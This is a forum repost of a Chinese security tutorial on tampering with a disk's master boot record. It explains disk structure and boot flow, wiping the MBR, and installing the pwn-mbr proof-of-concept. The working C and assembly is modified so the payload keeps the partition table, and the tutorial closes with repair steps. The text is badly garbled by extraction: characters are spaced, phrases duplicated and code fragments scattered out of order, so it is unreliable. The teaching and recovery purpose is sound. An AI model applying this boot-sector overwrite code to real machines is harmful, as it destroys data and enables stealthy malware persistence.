搜索

[14222] 2019-06-12_详解MBR篡改技术

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-06-12_详解MBR篡改技术 详 解 M B R 篡 改 技 术 追 影 人   F r e e B u f   2 0 1 9 - 0 6 - 1 2 0 × 0 1   硬 盘 的 逻 辑 结 构 硬 盘 的 逻 辑 结 构 机 械 磁 盘 在 物 理 结 构 上 是 由 磁 片 、 马 达 、 磁 头 、 定 位 系 统 等 部 件 构 成 ， 通 常 一 块 磁 盘 有 若 干 块 磁 片 构 成 ， 为 了 机 械 磁 盘 在 物 理 结 构 上 是 由 磁 片 、 马 达 、 磁 头 、 定 位 系 统 等 部 件 构 成 ， 通 常 一 块 磁 盘 有 若 干 块 磁 片 构 成 ， 为 了 方 便 定 位 统 一 管 理 ， 将 这 些 磁 片 进 行 了 编 号 。 一 个 盘 片 的 两 面 各 有 一 个 磁 头 （ 方 便 定 位 统 一 管 理 ， 将 这 些 磁 片 进 行 了 编 号 。 一 个 盘 片 的 两 面 各 有 一 个 磁 头 （ H e a d s ） ， 每 个 盘 片 被 划 分 成 若 ） ， 每 个 盘 片 被 划 分 成 若 干 个 同 心 圆 磁 道 ， 每 个 盘 片 的 半 径 均 为 固 定 值 干 个 同 心 圆 磁 道 ， 每 个 盘 片 的 半 径 均 为 固 定 值 R 的 同 心 圆 形 成 柱 面 的 同 心 圆 形 成 柱 面 ( C y l i n d e r s ) ， 从 外 至 里 编 号 为 ， 从 外 至 里 编 号 为 0 、 、 1 、 、 2 … … 每 每 个 盘 片 上 的 每 个 磁 道 又 被 划 分 为 若 干 个 扇 区 ， 一 个 扇 区 通 常 容 量 为 个 盘 片 上 的 每 个 磁 道 又 被 划 分 为 若 干 个 扇 区 ， 一 个 扇 区 通 常 容 量 为 5 1 2 b y t e ， 并 按 照 一 定 规 则 编 号 为 ， 并 按 照 一 定 规 则 编 号 为 1 、 、 2 、 、 3 … … 形 成 形 成 C y l i n d e r s × H e a d s × S e c t o r 个 扇 区 ， 这 三 个 参 数 即 可 定 位 一 个 扇 区 。 从 这 里 可 以 看 出 扇 区 是 磁 盘 的 最 小 个 扇 区 ， 这 三 个 参 数 即 可 定 位 一 个 扇 区 。 从 这 里 可 以 看 出 扇 区 是 磁 盘 的 最 小 存 储 单 元 ， 对 磁 盘 的 读 写 只 能 以 扇 区 为 单 位 。 （ 请 务 必 注 意 最 后 一 句 话 ， 后 面 的 实 验 会 用 到 ） 存 储 单 元 ， 对 磁 盘 的 读 写 只 能 以 扇 区 为 单 位 。 （ 请 务 必 注 意 最 后 一 句 话 ， 后 面 的 实 验 会 用 到 ） Q u e s t i o n 1 ： 磁 盘 的 扇 区 是 什 么 时 候 划 分 的 ？ ： 磁 盘 的 扇 区 是 什 么 时 候 划 分 的 ？ A n s w e r ： 在 对 磁 盘 进 行 低 级 格 式 化 时 （ 磁 盘 出 厂 前 已 经 完 成 ） ， 会 划 分 出 柱 面 和 磁 道 ， 将 磁 道 划 分 为 若 干 个 扇 区 ， 每 个 扇 区 又 划 分 出 标 识 部 分 I D 、 间 隔 区 、 G A P 和 数 据 区 D A T A 等 。 而 我 们 通 常 在 操 作 系 统 中 所 用 的 格 式 化 是 高 级 格 式 化 ， 仅 仅 是 清 除 硬 盘 上 的 数 据 ， 生 成 引 导 信 息 ， 初 始 化 F A T 表 ， 标 注 逻 辑 坏 道 等 。 需 要 注 意 的 是 低 级 格 式 化 是 一 种 损 耗 性 操 作 ， 对 硬 盘 寿 命 有 一 定 的 负 面 影 响 。 由 于 后 续 实 验 需 要 了 解 到 磁 盘 数 据 的 具 体 含 义 ， 在 这 里 简 要 介 绍 一 下 。 硬 盘 上 的 数 据 按 照 其 不 同 的 特 点 和 作 用 大 致 可 分 为 5 部 分 ： M B R 区 、 D B R 区 、 F A T 区 、 D I R 区 和 D A T A 区 。 1 、 、 M B R 区 区 M B R （ M a i n   B o o t   R e c o r d   主 引 导 记 录 区 ） 位 于 整 个 硬 盘 的 0 磁 道 0 柱 面 1 扇 区 。 M B R 只 占 用 该 扇 区 的 前 4 4 6 个 字 节 ， 另 外 的 6 4 个 字 节 属 于 D P T （ D i s k   P a r t i t i o n   T a b l e 硬 盘 分 区 表 ） ， 最 后 两 个 字 节 “ 5 5 ， A A ” 是 分 区 的 结 束 标 志 ， 这 两 部 分 构 成 了 硬 盘 的 主 引 导 扇 区 。
2 、 、 D B R 区 区 D B R （ D o s   B o o t   R e c o r d 操 作 系 统 引 导 记 录 区 ） 位 于 硬 盘 的 0 磁 道 1 柱 面 1 扇 区 ， 是 操 作 系 统 可 以 直 接 访 问 的 第 一 个 扇 区 ， 它 包 括 一 个 引 导 程 序 和 一 个 被 称 为 B P B （ B i o s   P a r a m e t e r   B l o c k ） 的 本 分 区 参 数 记 录 表 ， D B R 是 在 高 级 格 式 化 时 产 生 。 3 、 、 F A T 区 区 F A T （ F i l e   A l l o c a t i o n   T a b l e 文 件 分 配 表 ） 区 位 于 D B R 区 之 后 。 文 件 在 存 储 时 并 非 连 续 存 储 在 某 个 区 域 ， 而 是 分 成 若 干 段 进 行 链 式 存 储 ， F A T 便 是 用 于 保 存 段 与 段 之 间 的 连 接 信 息 。 由 于 F A T 对 于 文 件 管 理 十 分 重 要 ， 所 以 在 原 F A T 的 后 面 会 有 一 个 备 份 F A T 。 4 、 、 D I R 区 区 D I R （ D i r e c t o r y ） 是 根 目 录 区 ， 位 于 备 份 F A T 表 之 后 ， 记 录 着 根 目 录 下 每 个 文 件 ( 目 录 ) 的 起 始 单 元 ， 文 件 的 属 性 等 。 5 、 数 据 、 数 据 ( D A T A ) 区 区 数 据 区 位 于 D I R 区 之 后 ， 用 于 存 储 真 正 的 用 户 原 始 数 据 。 0 × 0 2   M B R 引 导 原 理 引 导 原 理 计 算 机 在 按 下 电 源 键 键 以 后 ， 开 始 执 行 主 板 b i o s 程 序 。 进 行 完 一 系 列 检 测 和 配 置 以 后 。 开 始 按 b i o s 中 设 定 的 系 统 引 导 顺 序 引 导 系 统 。 当 设 置 为 从 硬 盘 启 动 时 ， B i o s 执 行 完 自 己 的 程 序 后 如 何 把 执 行 权 交 给 硬 盘 呢 ？ 交 给 硬 盘 后 又 执 行 了 什 么 呢 ？ 这 些 问 题 便 是 需 要 M B R 来 解 决 的 ， b i o s 在 执 行 自 己 固 有 的 程 序 以 后 就 会 跳 转 到 m b r 中 的 第 一 条 指 令 ， 将 系 统 的 控 制 权 交 由 m b r 来 执 行 。 需 要 注 意 的 是 M B R 不 随 操 作 系 统 的 不 同 而 不 同 ， 意 即 不 同 的 操 作 系 统 可 能 会 存 在 相 同 的 M B R ， 即 使
不 同 ， M B R 也 不 会 夹 带 操 作 系 统 的 性 质 ， 具 有 公 共 引 导 的 特 性 。 Q u e s t i o n 2 ： 所 有 电 脑 都 有 M B R 引 导 区 吗 ？ A n s w e r : 其 中 B I O S 设 置 中 ， 有 两 种 启 动 进 入 操 作 系 统 的 方 法 ， 分 别 是 为 U E F I 和 L e g a c e y 。   其 中 L e g a c y 是 早 先 出 现 的 ， 而 U E F I （ U n i f i e d   E x t e n s i b l e   F i r m w a r e   I n t e r f a c e ） 是 后 来 发 展 出 的 可 扩 展 固 件 接 口 。 两 种 模 式 分 别 对 应 的 硬 盘 分 区 格 式 ： M B R 格 式 和 G U I D （ G P T ） 格 式 ， 所 以 只 有 采 用 L e g a c y 启 动 的 才 会 拥 有 M B R 扇 区 。 0 × 0 3   摧 兰 折 玉 摧 兰 折 玉 — — 暴 力 擦 写 暴 力 擦 写 M B R 如 果 我 们 破 坏 了 M B R 会 发 生 什 么 ？ 利 用 w i n h e x 对 M B R 区 域 进 行 0 0 填 充 操 作 ， 由 于 针 对 磁 盘 的 读 写 操 作 需 要 高 权 限 进 行 ， 所 以 请 用 管 理 员 启 动 w i n h e x 。 填 充 后 ： 修 改 后 切 记 保 存 ， 才 能 使 修 改 后 的 数 据 真 正 写 入 到 磁 盘 中 。 然 后 重 启 电 脑 。 哦 ， 对 了 ， 实 验 务 必 在 虚 拟 机 中 进 行 ， 务 必 做 好 快 照 ， 哈 哈 哈 ~ ~ ~ ~ ~ 前 面 忘 说 了 。 0 × 0 4   偷 梁 换 柱 偷 梁 换 柱 — — 篡 改 篡 改 M B R 我 们 成 功 的 破 坏 了 M B R ， 既 然 B i o s 将 控 制 权 交 给 了 M B R 执 行 ， 我 们 岂 不 是 可 以 利 用 M B R 做 一 些 其 他 事 。 这 里 我 们 用 到 程 序 h t t p s : / / g i t h u b . c o m / D a v i d B u c h a n a n 3 1 4 / p w n - m b r ， 该 程 序 是 将 自 己 的 p a y l o a d 写 入 到 M B R 区 域 执 行 。 1 、 制 作 、 制 作 p a y l o a d 工 程 中 的 p a y l o a d . s 文 件 属 于 汇 编 语 言 程 序 ， 需 要 利 用 其 进 行 编 译 生 成 二 进 制 p a y l o a d 。 笔 者 刚 开 始 选 择 m a s m 对 其 进 行 编 译 ， 报 一 堆 错 误 ， 后 来 才 发 现 该 汇 编 语 法 规 范 属 于 n a s m ， 使 用 n a s m 顺 利 生 成 了 p a y l o a d 。
2 、 、 R I N G 3 层 直 接 读 写 磁 盘 数 据 层 直 接 读 写 磁 盘 数 据 W i n d o w s 利 用 内 核 模 式 与 用 户 模 式 的 严 格 切 分 确 保 了 可 靠 性 ， 这 两 种 模 式 分 别 对 应 了 C P U 的 R i n g 0 与 R i n g 3 级 别 ， 在 R i n g 3 级 下 执 行 的 程 序 是 不 能 够 直 接 访 问 到 硬 件 的 。 如 果 要 读 写 磁 盘 上 的 扇 区 数 据 ， 需 要 利 用 I N T 中 断 来 进 行 ， 但 是 也 必 须 是 在 R i n g 0 级 才 可 以 进 行 操 作 ， 而 进 入 R i n g 0 级 的 方 法 有 ： 设 备 驱 动 程 序 、 调 用 门 、 任 务 门 、 中 断 门 、 陷 阱 门 等 ， 这 势 必 提 升 了 操 作 门 槛 。     而 程 序 中 对 磁 盘 的 操 作 直 接 使 用 了 f o p e n 等 文 件 操 作 函 数 ， 这 是 为 什 么 ？ W i n d o w s 的 核 心 之 一 就 是 强 大 的 文 件 管 理 能 力 ， 将 所 有 资 源 都 看 成 文 件 ， 无 论 是 存 储 在 硬 盘 上 的 文 件 还 是 五 花 八 门 的 硬 件 设 备 （ 硬 盘 ， 显 示 器 等 ） ， 所 以 硬 件 也 拥 有 自 己 特 殊 的 文 件 路 径 。 程 序 启 动 时 带 入 的 参 数 是 物 理 驱 动 器 的 路 径 ： W i n d o w s 平 台 的 驱 动 器 名 一 般 为 “ . P H Y S I C A L D R I V E 0 " ， 后 面 的 数 字 以 此 类 推 ； l i n u x 平 台 通 常 为 d e v s d a 。 3 、 程 序 的 运 行 、 程 序 的 运 行 通 过 阅 读 源 码 ， 可 知 程 序 对 磁 盘 进 行 了 读 写 操 作 ， 而 f o p e n 等 对 物 理 驱 动 器 的 操 作 必 须 具 备 调 试 权 限 ， 否 则 就 会 打 开 失 败 ， 所 以 我 们 选 择 管 理 员 运 行 程 序 。 运 行 后 重 启 系 统 ， 我 们 看 到 屏 幕 上 的 字 串 。 按 下 回 车 键 后 ， w i n d o w s 系 统 正 常 启 动 。 f p   =   f o p e n ( a r g v [ 1 ] ,   " r + " ) ;   i f   ( f p   = =   N U L L )   {   p r i n t f ( " C o u l d   n o t   o p e n   % s   f o r   r e a d / w r i t e .   A r e   y o u   s u r e   y o u   h a v e   p e r m i s s i o n ? n " ,   a r g v [ 1 ] ) ;   r e t u r n   1 ;   } f r e a d ( & m b r ,   S E C T O R _ S I Z E ,   1 ,   f p ) ;
4 、 阅 读 程 序 、 阅 读 程 序 程 序 中 这 段 代 码 在 实 际 执 行 中 会 进 入 而 使 得 程 序 退 出 ， 所 以 需 要 注 释 掉 ， 确 保 顺 利 执 行 。 通 过 对 源 码 的 阅 读 ， 大 致 梳 理 出 程 序 流 程 ： 读 取 前 5 1 2 字 节 ， 即 M B R 所 在 的 扇 区 向 后 寻 找 一 块 全 0 的 空 白 扇 区 将 原 始 M B R 数 据 异 或 0 x A 6 后 存 储 在 该 空 白 区 域 将 p a y l o a d 写 入 到 M B R 扇 区 需 要 注 意 的 是 ， 笔 者 在 调 试 程 序 时 发 现 p a y l o a d 在 写 入 时 总 是 失 败 ， 提 示 参 数 错 误 ， 后 来 发 现 在 对 硬 盘 读 写 时 ， 必 须 是 5 1 2 字 节 的 整 数 倍 才 行 ， 所 以 需 要 对 源 程 序 进 行 修 改 ， 将 p a y l o a d 补 齐 到 5 1 2 字 节 后 写 入 M B R 扇 区 。 经 过 上 述 修 改 后 ， 系 统 重 启 时 并 没 有 顺 利 启 动 我 们 的 p a y l o a d ， 这 里 需 要 回 顾 第 一 章 节 里 提 到 的 M B R 区 的 数 据 格 式 ， 在 M B R 所 在 的 第 一 扇 区 除 了 前 4 4 6 字 节 是 M B R 程 序 外 ， 后 面 的 6 4 个 字 节 属 于 D P T （ D i s k   P a r t i t i o n   T a b l e 硬 盘 分 区 表 ） ， 最 后 两 个 字 节 “ 5 5 ， A A ” 是 分 区 的 结 束 标 志 。 所 以 我 们 在 写 入 p a y l o a d 的 同 时 应 该 修 复 D P T 和 结 束 标 志 ， 程 序 中 需 要 在 读 取 原 始 M B R 数 据 后 加 入 以 下 代 码 。 f r e a d ( & m b r ,   S E C T O R _ S I Z E ,   1 ,   f p ) ; / / 从 磁 盘 中 读 取 M B R 扇 区 m e m c p y ( p a y l o a d ,   m b r ,   S E C T O R _ S I Z E ) ; / / 将 原 始 M B R 数 据 c o p y 到 p a y l o a d m e m s e t ( p a y l o a d ,   0 ,   4 4 6 ) ; / / 将 前 4 4 6 清 空 ， 留 下 后 面 的 D P T 表 和 结 束 标 志 5 、 解 读 、 解 读 p a y l o a d 在 阅 读 p a y l o a d 汇 编 代 码 前 ， 需 要 明 确 一 点 ： M B R 在 运 行 时 是 被 加 载 到 内 存 地 址 为 0 : 0 x 7 C 0 0 的 空 间 里 执 行 。 b a c k u p _ m a g i c   e q u   0 x 0 D D 0 3 7 1 3   ;   约 定 备 份 M B R 的 头 部 标 志 0 x 1 3 3 7 D 0 0 D   ， 便 于 搜 索 查 找 ： 疑 惑 ： 笔 者 在 进 行 测 试 时 发 现 ， 疑 惑 ： 笔 者 在 进 行 测 试 时 发 现 ， x p / w i n 2 0 0 3 系 统 均 可 完 成 上 述 实 验 的 全 过 程 ， 而 换 成 系 统 均 可 完 成 上 述 实 验 的 全 过 程 ， 而 换 成 w i n 7 会 就 会 发 现 在 出 现 会 就 会 发 现 在 出 现 p w n 文 字 后 ， 按 下 回 车 键 无 任 何 反 应 ， 系 统 并 没 有 正 常 启 动 。 文 字 后 ， 按 下 回 车 键 无 任 何 反 应 ， 系 统 并 没 有 正 常 启 动 。 0 × 0 5   凤 凰 涅 槃 凤 凰 涅 槃 - - M B R 修 复 修 复 如 果 有 同 学 不 慎 中 招 了 M B R 病 毒 ， 不 要 慌 张 ， 下 面 我 们 来 讲 如 何 修 复 被 破 坏 的 M B R 扇 区 。 根 据 之 前 我 们 对 M B R 工 作 机 制 的 认 识 ， 当 M B R 被 破 坏 时 ， 系 统 无 法 正 常 引 导 ， 磁 盘 分 区 信 息 丢 失 ， 所 以 需 要 修 复 这 两 部 分 才 可 以 正 常 启 动 系 统 。 1 、 下 载 、 下 载 P E 系 统 ， 利 用 光 驱 或 系 统 ， 利 用 光 驱 或 U 盘 等 方 式 ， 启 动 盘 等 方 式 ， 启 动 P E 系 统 ； 系 统 ； 2 、 打 开 、 打 开 P E 系 统 中 的 系 统 中 的 d i s k g e n i u s 分 区 工 具 ， 可 以 看 到 硬 盘 上 的 数 据 全 都 不 见 了 ； 分 区 工 具 ， 可 以 看 到 硬 盘 上 的 数 据 全 都 不 见 了 ； i f   ( m b r [ 0 ]   ! =   A S M _ J M P )   {   / /   t h i s   i s   o n l y   a   h e u r i s t i c   f o r   a d d e d   s a f e t y   p r i n t f ( " N o   b o o t c o d e   d e t e c t e d .   A b o r t i n g ! n " ) ;   f c l o s e ( f p ) ;   r e t u r n   1 ; } c h a r   i s U s e d   =   1 ;   w h i l e   ( i s U s e d )   {   f r e a d ( & r e a d b u f ,   S E C T O R _ S I Z E ,   1 ,   f p ) ;   f o r   ( i n t   i   =   i s U s e d   =   0 ;   i   <   S E C T O R _ S I Z E ;   i s U s e d   | =   r e a d b u f [ i + + ] ) ; } f o r   ( i n t   i   =   0 ;   i   <   S E C T O R _ S I Z E ;   i + + )   m b r [ i ]   ^ =   0 x A 6 ; m a g i c _ a d d r   e q u   0 x 7 F F C p a y l o a d _ l e n   e q u   0 x 1 B 8   ;   t e l l s   u s   h o w   m u c h   o f   t h e   M B R   t o   c o p y   b a c k   o r g   0 x 7 C 0 0   b i t s   1 6 s t a r t :   j m p   r e a l s t a r t   ;   J u s t   t o   l o o k   l i k e   a   m o r e   n o r m a l   M B R   n o p r e a l s t a r t :   c l i   x o r   a x ,   a x   ;   清 空 各 个 寄 存 器   m o v   e s ,   a x   m o v   f s ,   a x   m o v   g s ,   a x   m o v   a h ,   0 x 0 E   ;   " T e l e t y p e   o u t p u t "   m o d e   f o r   i n t   0 x 1 0   x o r   b l ,   b l . s L o o p   s u b   b l ,   1   ;   将 b l 设 置 为 2 5 5 ， 为 了 循 环 打 印 2 5 5 次 p w n 文 字   j z   d o C o p y   ; 判 断 是 否 打 印 完 毕 ， 完 毕 则 跳 转 至 d o c o p y 处   m o v   s i ,   p w n e d . c L o o p   l o d s b   ;   A L   < -   [ D S : S I ]   & &   S I + +   将 目 的 地 址 的 内 容 读 到 源 地 址 ， 复 制 p w n 文 字 操 作   x o r   a l ,   0 x 8 3   ; p w n 文 字 解 密 操 作   j z   . s L o o p   i n t   0 x 1 0   ; 输 出   j m p   . c L o o p d o C o p y :     x o r   a h ,   a h   i n t   0 x 1 6   ;   等 待 键 盘 输 入 回 车 键 ;   开 始 搜 索 定 位 m b r 备 份 的 位 置 . s c a n   m o v   s i ,   D A P A C K     m o v   a h ,   0 x 4 2   i n t   0 x 1 3   ; 使 用 i n t 1 3 h , a h = 0 x 4 2 读 取 扇 区   m o v   a x ,   [ d _ l b a ]   ; 将 a x 赋 值 为 1 号 扇 区   a d d   a x ,   1   ; 扇 区 号 累 加 操 作   m o v   [ d _ l b a ] ,   a x   m o v   e a x ,   [ m a g i c _ a d d r ]   ; 读 取 本 扇 区 最 开 头 的 标 记 位 数 据   m o v   e b x ,   b a c k u p _ m a g i c   c m p   e a x ,   e b x   ; 对 比 标 记 位 数 据 ， 判 断 是 都 否 为 备 份 的 扇 区   j n e   . s c a n   ;   将 备 份 扇 区 还 原 到 M B R 的 位 置   m o v   s i ,   s t a g e 2   m o v   b x ,   0 x 8 0 0 0 . c o p y   l o d s b   ; 将 s t a g e 2 区 块 的 指 令 代 码 读 写 到 内 存 0 x 8 0 0 0 位 置 处   m o v   [ b x ] ,   a l   a d d   b x ,   1   c m p   s i ,   s t a g e 2 e n d   j l   . c o p y   j m p   0 x 8 0 0 0   ; 跳 转 到 0 x 8 0 0 0 位 置 开 始 执 行 s t a g e 2 代 码 s t a g e 2 :   ;   该 块 代 码 会 被 重 新 装 载 到 内 存 0 x 8 0 0 0 位 置   m o v   s i ,   0 x 7 E 0 0 . c o p y   l o d s b   x o r   a l ,   0 x A 6   ; 备 份 的 M B R 数 据 进 行 解 密 操 作   m o v   [ s i - 0 x 2 0 1 ] ,   a l   ; 将 还 原 的 M B R 装 载 到 内 存 0 x 7 C 0 0 处   c m p   s i ,   0 x 7 E 0 0   +   p a y l o a d _ l e n   j l   . c o p y   s t i   j m p   0 : 0 x 7 C 0 0   ; 跳 转 到 0 x 7 C 0 0 内 存 处 开 始 执 行 还 原 的 M B R ， 从 而 正 常 启 动 操 作 系 统 s t a g e 2 e n d : p w n e d :   d b   2 0 6 ,   1 9 3 ,   2 0 9 ,   1 6 3 ,   2 1 1 ,   2 1 2 ,   2 0 5 ,   1 9 8 ,   1 9 9 ,   1 6 2 ,   1 6 3 ,   1 6 3 ,   1 6 3 ,   1 3 1   ; 该 数 据 为 异 或 后 的 数 据   " M B R   P W N E D !       "   ^   0 x 8 3   a l i g n   4   ;   n e e d e d   f o r   D i s k   A d d r e s s   P a c k e t D A P A C K :   d b   0 x 1 0   d b   0 b l k c n t :   d w   1   ;   i n t   1 3   r e s e t s   t h i s   t o   #   o f   b l o c k s   a c t u a l l y   r e a d / w r i t t e n d b _ a d d :   d w   0 x 7 E 0 0   ;   m e m o r y   b u f f e r   d e s t i n a t i o n   a d d r e s s   ( 0 : 7 E 0 0 )   d w   0   ;   i n   m e m o r y   p a g e   z e r o d _ l b a :   d d   1   ;   p u t   t h e   l b a   t o   r e a d   i n   t h i s   s p o t d d   0   ;   m o r e   s t o r a g e   b y t e s   o n l y   f o r   b i g   l b a ' s   (   >   4   b y t e s   )
3 、 右 键 点 击 硬 盘 选 择 、 右 键 点 击 硬 盘 选 择 “ 搜 索 已 丢 失 的 分 区 搜 索 已 丢 失 的 分 区 ” ； ； 4 、 选 择 、 选 择 “ 整 个 硬 盘 整 个 硬 盘 ” ， 点 击 开 始 搜 索 ， ， 点 击 开 始 搜 索 ， d i s k g e n i u s 会 在 整 个 磁 盘 范 围 内 搜 索 匹 配 分 区 表 ； 会 在 整 个 磁 盘 范 围 内 搜 索 匹 配 分 区 表 ； 5 、 当 搜 索 到 分 区 信 息 时 会 弹 框 确 认 ， 请 按 、 当 搜 索 到 分 区 信 息 时 会 弹 框 确 认 ， 请 按 “ 保 留 保 留 ” 按 键 ； 按 键 ； 6 、 搜 索 完 毕 后 ， 点 击 保 存 按 钮 ； 、 搜 索 完 毕 后 ， 点 击 保 存 按 钮 ；
7 、 此 时 可 以 看 到 磁 盘 上 的 文 件 信 息 都 回 来 了 ； 8 、 重 建 主 引 导 记 录
9 、 进 入 、 进 入 P E 系 统 的 系 统 的 “ 修 复 系 统 引 导 修 复 系 统 引 导 ” 程 序 ， 对 系 统 引 导 进 行 修 复 。 程 序 ， 对 系 统 引 导 进 行 修 复 。 1 0 、 、 R e s e t ， 大 功 告 成 ！ ， 大 功 告 成 ！ 0 × 0 6   后 记 后 记 前 面 我 们 了 解 了 M B R 磁 盘 锁 的 基 本 运 行 机 制 ， 以 及 M B R 扇 区 修 复 技 术 ， 其 实 有 关 M B R 的 利 用 远 不 止 这 些 ， 在 一 些 高 级 利 用 场 景 中 ， 我 们 可 以 利 用 修 改 M B R 代 码 的 方 式 实 现 病 毒 程 序 的 持 久 化 ， 而 且 这 种 形 式 的 持 久 化 方 式 是 不 依 赖 于 操 作 系 统 ， 更 加 隐 蔽 难 以 察 觉 ， 因 此 部 分 杀 毒 软 件 也 紧 盯 M B R 扇 区 ， 利 用 多 种 技 术 对 M B R 扇 区 进 行 了 写 保 护 ， 防 止 病 毒 的 篡 改 侵 蚀 。 * 本 文 作 者 ： 追 影 人 ， 本 文 属 本 文 作 者 ： 追 影 人 ， 本 文 属   F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理